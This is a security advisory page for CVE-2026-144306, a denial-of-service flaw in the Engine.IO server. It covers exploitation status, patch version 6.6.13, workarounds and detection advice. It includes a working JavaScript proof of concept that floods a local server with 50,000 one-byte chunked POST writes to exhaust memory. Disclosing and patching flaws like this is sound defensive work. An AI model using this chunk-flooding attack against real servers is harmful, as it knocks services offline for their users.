CVE-2026-144306 is a high-severity (CVSS 7.5) CWE-770 vulnerability in engine.io. A fix is available for engine.io — see the affected versions and patch details below.
Socket.IO: Engine.IO DoS via memory exhaustion
Exploitation Status
No confirmed exploitation observed yet
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-144306.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
engine.ioReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A Denial-of-Service (DoS) vulnerability exists in Engine.IO server due to unbounded chunk buffering when processing polling POST requests.
This vulnerability primarily affects direct connections to the Engine.IO server (without a reverse proxy), as most reverse proxies (Nginx, HAProxy, Apache) will concatenate chunks before forwarding them to the backend. An attacker with direct access could send a request body split into many small chunks, forcing the server to create excessive string objects and causing memory exhaustion.
Proof of concept
import http from "node:http";
import { Server } from "engine.io";
import { Socket } from "engine.io-client";
// Start a vulnerable Engine.IO server
const engine = new Server();
const server = http.createServer();
engine.attach(server);
server.listen(3000, async () => {
console.log("Vulnerable server listening on port 3000");
// Create a connection first to get a session ID
const client = new Socket("ws://localhost:3000", { transports: ["polling"] });
await new Promise((resolve) => client.on("open", resolve));
// Attacker: Send polling POST with many small chunks (exceeds safe buffer limit)
const nodeReq = http.request(
{
hostname: "localhost",
port: 3000,
path: `/engine.io/?transport=polling&EIO=4&sid=${client.id}`,
method: "POST",
headers: {
"Content-Type": "text/plain",
"Transfer-Encoding": "chunked",
},
},
(res) => {
console.log("Response status:", res.statusCode);
client.close();
server.close();
}
);
// Send many small chunks to exhaust memory
for (let i = 0; i < 50_000; i++) {
nodeReq.write("a");
}
nodeReq.end();
});
Expected Result: The server may run out of memory or experience severe performance degradation due to excessive string concatenation and chunk buffering.
Patches
Fixed in:
[email protected](via commit https://github.com/socketio/socket.io/commit/f0df289212e6ff138723933e33db891796f4d3d1)
Workarounds
In vulnerable versions, the issue can be mitigated by:
- Using a reverse proxy (e.g., Nginx, HAProxy, Apache) - Most reverse proxies concatenate chunks before forwarding, effectively neutralizing this attack vector
- Limiting request body size at the reverse proxy level (e.g., Nginx
client_max_body_size) - Rate limiting connections per IP to prevent chunk flooding
- Disabling polling transport if your application only needs WebSocket:
const engine = new Server({
transports: ["websocket"]
});
Note: These are temporary mitigations. Upgrading to [email protected] and above is the recommended fix.
Credits
The vulnerability was responsibly disclosed by Salih Çağlar İspirli.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | engine.io | all versions | 6.6.13npm install engine.io@6.6.13 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for engine.io, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update engine.io to 6.6.13 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-144306 is resolved across your whole dependency graph.
Workarounds
Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.
Frequently Asked Questions
Is CVE-2026-144306 in your dependencies?
Find it across npm, including transitive dependencies.